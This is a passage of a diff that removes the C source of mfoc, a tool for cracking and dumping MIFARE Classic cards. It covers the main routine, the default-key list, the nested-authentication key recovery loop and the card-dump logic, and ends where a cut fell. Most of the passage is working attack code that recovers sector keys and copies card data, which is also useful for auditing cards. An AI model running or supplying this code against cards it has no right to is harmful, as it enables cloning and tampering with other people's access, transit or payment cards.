+- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); +- } +- // either nt1 or nt2 are invalid nonces +- return(-99999); +-} +- +- +-int main(int argc, char *const argv[]) +-{ +- const nfc_modulation nm = { +- .nmt = NMT_ISO14443A, +- .nbr = NBR_106, +- }; +- +- int ch, i, k, n, j, m; +- int key, block; +- int succeed = 1; +- +- // Exploit sector +- int e_sector; +- int probes = DEFAULT_PROBES_NR; +- int sets = DEFAULT_SETS_NR; +- +- // By default, dump 'A' keys +- int dumpKeysA = true; +- bool failure = false; +- bool skip = false; +- +- // Next default key specified as option (-k) +- uint8_t *defKeys = NULL, *p; +- size_t defKeys_len = 0; +- +- // Array with default Mifare Classic keys +- uint8_t defaultKeys[][6] = { +- {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) +- {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key +- {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key +- {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key +- {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, +- {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, +- {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, +- {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, +- {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, +- {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, +- {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, +- {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, +- {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} +- +- }; +- +- mftag t; +- mfreader r; +- denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; +- +- // Pointers to possible keys +- pKeys *pk; +- countKeys *ck; +- +- // Pointer to already broken keys, except defaults +- bKeys *bk; +- +- static mifare_param mp, mtmp; +- static mifare_classic_tag mtDump; +- +- mifare_cmd mc; +- FILE *pfDump = NULL; +- +- //File pointers for the keyfile +- FILE * fp; +- char * line = NULL; +- size_t len = 0; +- ssize_t read; +- +- //Regexp declarations +- static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])"; +- struct slre_cap caps[2]; +- +- // Parse command line arguments +- while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) { +- switch (ch) { +- case 'P': +- // Number of probes +- if (!(probes = atoi(optarg)) || probes < 1) { +- ERR("The number of probes must be a positive number"); +- exit(EXIT_FAILURE); +- } +- // fprintf(stdout, "Number of probes: %d\n", probes); +- break; +- case 'T': { +- int res; +- // Nonce tolerance range +- if (((res = atoi(optarg)) < 0)) { +- ERR("The nonce distances range must be a zero or a positive number"); +- exit(EXIT_FAILURE); +- } +- d.tolerance = (uint32_t)res; +- // fprintf(stdout, "Tolerance number: %d\n", probes); +- } +- break; +- case 'f': +- if (!(fp = fopen(optarg, "r"))) { +- fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg); +- exit(EXIT_FAILURE); +- } +- while ((read = getline(&line, &len, fp)) != -1) { +- int i, j = 0, str_len = strlen(line); +- +- while (j < str_len && +- (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) { +- //We've found a key, let's add it to the structure. +- p = realloc(defKeys, defKeys_len + 6); +- if (!p) { +- ERR("Cannot allocate memory for defKeys"); +- exit(EXIT_FAILURE); +- } +- defKeys = p; +- memset(defKeys + defKeys_len, 0, 6); +- num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len); +- fprintf(stdout, "The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr); +- defKeys_len = defKeys_len + 6; +- +- j += i; +- } +- } +- if (line) +- free(line); +- break; +- case 'k': +- // Add this key to the default keys +- p = realloc(defKeys, defKeys_len + 6); +- if (!p) { +- ERR("Cannot allocate memory for defKeys"); +- exit(EXIT_FAILURE); +- } +- defKeys = p; +- memset(defKeys + defKeys_len, 0, 6); +- num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len); +- fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); +- defKeys_len = defKeys_len + 6; +- +- break; +- case 'O': +- // File output +- if (!(pfDump = fopen(optarg, "wb"))) { +- fprintf(stderr, "Cannot open: %s, exiting\n", optarg); +- exit(EXIT_FAILURE); +- } +- // fprintf(stdout, "Output file: %s\n", optarg); +- break; +- case 'h': +- usage(stdout, 0); +- break; +- default: +- usage(stderr, 1); +- break; +- } +- } +- +- if (!pfDump) { +- ERR("parameter -O is mandatory"); +- exit(EXIT_FAILURE); +- } +- +- // Initialize reader/tag structures +- mf_init(&r); +- +- if (nfc_initiator_init(r.pdi) < 0) { +- nfc_perror(r.pdi, "nfc_initiator_init"); +- goto error; +- } +- // Drop the field for a while, so can be reset +- if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool activate field"); +- goto error; +- } +- // Let the reader only try once to find a tag +- if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select"); +- goto error; +- } +- // Configure the CRC and Parity settings +- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); +- goto error; +- } +- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); +- goto error; +- } +- +- /* +- // wait for tag to appear +- for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); +- */ +- +- int tag_count; +- if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) { +- nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); +- goto error; +- } else if (tag_count == 0) { +- ERR("No tag found."); +- goto error; +- } +- +- // Test if a compatible MIFARE tag is used +- if ((t.nt.nti.nai.btSak & 0x08) == 0) { +- ERR("only Mifare Classic is supported"); +- goto error; +- } +- +- t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); +- +- // Get Mifare Classic type from SAK +- // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 +- switch (t.nt.nti.nai.btSak) +- { +- case 0x08: +- case 0x88: +- printf("Found Mifare Classic 1k tag\n"); +- t.num_sectors = NR_TRAILERS_1k; +- t.num_blocks = NR_BLOCKS_1k; +- break; +- case 0x09: +- printf("Found Mifare Classic Mini tag\n"); +- t.num_sectors = NR_TRAILERS_MINI; +- t.num_blocks = NR_BLOCKS_MINI; +- break; +- case 0x18: +- printf("Found Mifare Classic 4k tag\n"); +- t.num_sectors = NR_TRAILERS_4k; +- t.num_blocks = NR_BLOCKS_4k; +- break; +- default: +- ERR("Cannot determine card type from SAK"); +- goto error; +- } +- +- t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); +- if (t.sectors == NULL) { +- ERR("Cannot allocate memory for t.sectors"); +- goto error; +- } +- if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { +- ERR("Cannot allocate memory for pk"); +- goto error; +- } +- if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { +- ERR("Cannot allocate memory for bk"); +- goto error; +- } else { +- bk->brokenKeys = NULL; +- bk->size = 0; +- } +- +- d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); +- if (d.distances == NULL) { +- ERR("Cannot allocate memory for t.distances"); +- goto error; +- } +- +- // Initialize t.sectors, keys are not known yet +- for (uint8_t s = 0; s < (t.num_sectors); ++s) { +- t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; +- } +- +- print_nfc_target(&t.nt, true); +- +- fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n"); +- fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n"); +- // Set the authentication information (uid) +- memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); +- // Iterate over all keys (n = number of keys) +- n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); +- size_t defKey_bytes_todo = defKeys_len; +- key = 0; +- while (key < n || defKey_bytes_todo) { +- if (defKey_bytes_todo > 0) { +- memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); +- defKey_bytes_todo -= sizeof(mp.mpa.abtKey); +- } else { +- memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); +- key++; +- } +- fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); +- fprintf(stdout, "["); +- i = 0; // Sector counter +- // Iterate over every block, where we haven't found a key yet +- for (block = 0; block <= t.num_blocks; ++block) { +- if (trailer_block(block)) { +- if (!t.sectors[i].foundKeyA) { +- mc = MC_AUTH_A; +- int res; +- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { +- if (res != NFC_EMFCAUTHFAIL) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- } else { +- // Save all information about successfull keyA authentization +- memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- t.sectors[i].foundKeyA = true; +- // Although KeyA can never be directly read from the data sector, KeyB can, so +- // if we need KeyB for this sector, it should be revealed by a data read with KeyA +- // todo - check for duplicates in cracked key list (do we care? will not be huge overhead) +- // todo - make code more modular! :) +- if (!t.sectors[i].foundKeyB) { +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) { +- // print only for debugging as it messes up output! +- //fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); +- memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); +- memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) { +- //fprintf(stdout, "Failed!\n"); +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- } else { +- //fprintf(stdout, "OK\n"); +- memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB)); +- t.sectors[i].foundKeyB = true; +- bk->size++; +- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); +- bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); +- } +- } else { +- if (res != NFC_ERFTRANS) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- } +- } +- } +- } +- // if key reveal failed, try other keys +- if (!t.sectors[i].foundKeyB) { +- mc = MC_AUTH_B; +- int res; +- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { +- if (res != NFC_EMFCAUTHFAIL) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- // No success, try next block +- t.sectors[i].trailer = block; +- } else { +- memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- t.sectors[i].foundKeyB = true; +- } +- } +- if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { +- fprintf(stdout, "x"); +- } else if (t.sectors[i].foundKeyA) { +- fprintf(stdout, "/"); +- } else if (t.sectors[i].foundKeyB) { +- fprintf(stdout, "\\"); +- } else { +- fprintf(stdout, "."); +- } +- fflush(stdout); +- // Save position of a trailer block to sector struct +- t.sectors[i++].trailer = block; +- } +- } +- fprintf(stdout, "]\n"); +- } +- +- fprintf(stdout, "\n"); +- for (i = 0; i < (t.num_sectors); ++i) { +- if(t.sectors[i].foundKeyA){ +- fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); +- memcpy(&knownKey, t.sectors[i].KeyA, 6); +- knownKeyLetter = 'A'; +- knownSector = i; +- } +- else{ +- fprintf(stdout, "Sector %02d - Unknown Key A ", i); +- unknownSector = i; +- unknownKeyLetter = 'A'; +- } +- if(t.sectors[i].foundKeyB){ +- fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); +- knownKeyLetter = 'B'; +- memcpy(&knownKey, t.sectors[i].KeyB, 6); +- knownSector = i; +- } +- else{ +- fprintf(stdout, "Unknown Key B\n"); +- unknownSector = i; +- unknownKeyLetter = 'B'; +- } +- } +- fflush(stdout); +- +- // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) +- e_sector = find_exploit_sector(t); +- //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode +- +- // Recover key from encrypted sectors, j is a sector counter +- for (m = 0; m < 2; ++m) { +- if (e_sector == -1) break; // All keys are default, I am skipping recovery mode +- for (j = 0; j < (t.num_sectors); ++j) { +- memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); +- if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { +- +- // First, try already broken keys +- skip = false; +- for (uint32_t o = 0; o < bk->size; o++) { +- num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); +- mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; +- int res; +- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { +- if (res != NFC_EMFCAUTHFAIL) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- } else { +- // Save all information about successfull authentization +- printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); +- if (dumpKeysA) { +- memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- t.sectors[j].foundKeyA = true; +- // if we need KeyB for this sector it should be revealed by a data read with KeyA +- if (!t.sectors[j].foundKeyB) { +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { +- fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); +- memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); +- memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { +- fprintf(stdout, "Failed!\n"); +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- } else { +- fprintf(stdout, "OK\n"); +- memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); +- t.sectors[j].foundKeyB = true; +- bk->size++; +- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); +- bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); +- } +- } else { +- if (res != NFC_ERFTRANS) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- } +- } +- } else { +- memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- t.sectors[j].foundKeyB = true; +- } +- fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), +- bytes_to_num(mp.mpa.abtKey, 6)); +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- skip = true; +- break; +- } +- } +- if (skip) continue; // We have already revealed key, go to the next iteration +- +- // Max probes for auth for each sector +- for (k = 0; k < probes; ++k) { +- // Try to authenticate to exploit sector and determine distances (filling denonce.distances) +- int authRezult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode +- if(authRezult == -99999){ +- //for now we return the last sector that is unknown +- nfc_close(r.pdi); +- nfc_exit(context); +- FILE *fpKey; +- fpKey = fopen("/tmp/unknownMfocSectorInfo_123456asdfqwer.txt", "w"); +- fprintf(fpKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); +- fclose(fpKey); +- +- return 9; +- } +- +- printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); +- // Configure device to the previous state +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- +- pk->possibleKeys = NULL; +- pk->size = 0; +- // We have 'sets' * 32b keystream of potential keys +- for (n = 0; n < sets; n++) { +- // AUTH + Recovery key mode (for a_sector), repeat 5 times +- mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- fprintf(stdout, "."); +- fflush(stdout); +- } +- fprintf(stdout, "\n"); +- // Get first 15 grouped keys +- ck = uniqsort(pk->possibleKeys, pk->size); +- for (i = 0; i < TRY_KEYS ; i++) { +- // We don't known this key, try to break it +- // This key can be found here two or more times +- if (ck[i].count > 0) { +- // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); +- // Set required authetication method +- num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); +- mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; +- int res; +- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { +- if (res != NFC_EMFCAUTHFAIL) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- } else { +- // Save all information about successfull authentization +- bk->size++; +- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); +- bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- if (dumpKeysA) { +- memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- t.sectors[j].foundKeyA = true; +- +- } else { +- memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); +- t.sectors[j].foundKeyB = true; +- } +- fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), +- bytes_to_num(mp.mpa.abtKey, 6)); +- // if we need KeyB for this sector, it should be revealed by a data read with KeyA +- if (!t.sectors[j].foundKeyB) { +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { +- fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); +- memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); +- memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { +- fprintf(stdout, "Failed!\n"); +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- } else { +- fprintf(stdout, "OK\n"); +- memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); +- t.sectors[j].foundKeyB = true; +- bk->size++; +- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); +- bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); +- } +- } else { +- if (res != NFC_ERFTRANS) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_anticollision(t, r); +- } +- } +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- break; +- } +- } +- } +- free(pk->possibleKeys); +- free(ck); +- // Success, try the next sector +- if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; +- } +- // We haven't found any key, exiting +- if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { +- ERR("No success, maybe you should increase the probes"); +- goto error; +- } +- } +- } +- dumpKeysA = false; +- } +- +- +- for (i = 0; i < (t.num_sectors); ++i) { +- if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { +- fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); +- succeed = 0; +- break; +- } +- } +- +- if (succeed) { +- i = t.num_sectors; // Sector counter +- fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); +- // Read all blocks +- for (block = t.num_blocks; block >= 0; block--) { +- trailer_block(block) ? i-- : i; +- failure = true; +- +- // Try A key, auth() + read() +- memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); +- int res; +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) { +- if (res != NFC_EMFCAUTHFAIL) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- } else { // and Read +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { +- fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); +- print_hex(mp.mpd.abtData, 16); +- mf_configure(r.pdi); +- mf_select_tag(r.pdi, &(t.nt)); +- failure = false; +- } else { +- // Error, now try read() with B key +- if (res != NFC_ERFTRANS) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) { +- if (res != NFC_EMFCAUTHFAIL) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- } else { // and Read +- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { +- fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); +- print_hex(mp.mpd.abtData, 16); +- mf_configure(r.pdi); +- mf_select_tag(r.pdi, &(t.nt)); +- failure = false; +- } else { +- if (res != NFC_ERFTRANS) { +- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); +- goto error; +- } +- mf_configure(r.pdi); +- mf_anticollision(t, r); +- // ERR ("Error: Read B"); +- } +- } +- } +- } +- if (trailer_block(block)) { +- // Copy the keys over from our key dump and store the retrieved access bits +- memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6); +- memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6); +- if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4); +- } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16); +- memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); +- } +- +- // Finally save all keys + data to file +- uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; +- if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { +- fprintf(stdout, "Error, cannot write dump\n"); +- fclose(pfDump); +- goto error; +- } +- fclose(pfDump); +- } +- +- free(t.sectors); +- free(d.distances); +- +- // Reset the "advanced" configuration to normal +- nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); +- nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); +- +- // Disconnect device and exit +- nfc_close(r.pdi); +- nfc_exit(context); +- exit(EXIT_SUCCESS); +-error: +- nfc_close(r.pdi); +- nfc_exit(context); +- exit(EXIT_FAILURE); +-} +- +-void usage(FILE *stream, int errno) +-{ +- fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n"); +- fprintf(stream, "\n"); +- fprintf(stream, " h print this help and exit\n"); +-// fprintf(stream, " B instead of 'A' dump 'B' keys\n"); +- fprintf(stream, " k try the specified key in addition to the default keys\n"); +- fprintf(stream, " f parses a file of keys to add in addition to the default keys \n"); +-// fprintf(stream, " D number of distance probes, default is 20\n"); +-// fprintf(stream, " S number of sets with keystreams, default is 5\n"); +- fprintf(stream, " P number of probes per sector, instead of default of 20\n"); +- fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); +-// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); +- fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); +- fprintf(stream, "\n"); +- fprintf(stream, "Example: mfoc -O mycard.mfd\n"); +- fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); +- fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n"); +- fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); +- fprintf(stream, "\n"); +- fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); +- fprintf(stream, "For more information, run: 'man mfoc'.\n"); +- exit(errno); +-} +- +-void mf_init(mfreader *r) +-{ +- // Connect to the first NFC device +- nfc_init(&context); +- if (context == NULL) { +- ERR("Unable to init libnfc (malloc)"); +- exit(EXIT_FAILURE); +- } +- r->pdi = nfc_open(context, NULL); +- if (!r->pdi) { +- printf("No NFC device found.\n"); +- exit(EXIT_FAILURE); +- } +-} +- +-void mf_configure(nfc_device *pdi) +-{ +- if (nfc_initiator_init(pdi) < 0) { +- nfc_perror(pdi, "nfc_initiator_init"); +- exit(EXIT_FAILURE); +- } +- // Drop the field for a while, so can be reset +- if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { +- nfc_perror(pdi, "nfc_device_set_property_bool activate field"); +- exit(EXIT_FAILURE); +- } +- // Let the reader only try once to find a tag +- if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { +- nfc_perror(pdi, "nfc_device_set_property_bool infinite select"); +- exit(EXIT_FAILURE); +- } +- // Configure the CRC and Parity settings +- if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { +- nfc_perror(pdi, "nfc_device_set_property_bool crc"); +- exit(EXIT_FAILURE); +- } +- if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { +- nfc_perror(pdi, "nfc_device_set_property_bool parity"); +- exit(EXIT_FAILURE); +- } +- // Enable the field so more power consuming cards can power themselves up +- if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { +- nfc_perror(pdi, "nfc_device_set_property_bool activate field"); +- exit(EXIT_FAILURE); +- } +-} +- +-void mf_select_tag(nfc_device *pdi, nfc_target *pnt) +-{ +- // Poll for a ISO14443A (MIFARE) tag +- const nfc_modulation nm = { +- .nmt = NMT_ISO14443A, +- .nbr = NBR_106, +- }; +- if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { +- ERR("Unable to connect to the MIFARE Classic tag"); +- nfc_close(pdi); +- nfc_exit(context); +- exit(EXIT_FAILURE); +- } +-} +- +-int trailer_block(uint32_t block) +-{ +- // Test if we are in the small or big sectors +- return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); +-} +- +-// Return position of sector if it is encrypted with the default key otherwise exit.. +-int find_exploit_sector(mftag t) +-{ +- int i; +- bool interesting = false; +- +- for (i = 0; i < t.num_sectors; i++) { +- if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { +- interesting = true; +- break; +- } +- } +- if (!interesting) { +- fprintf(stdout, "\nWe have 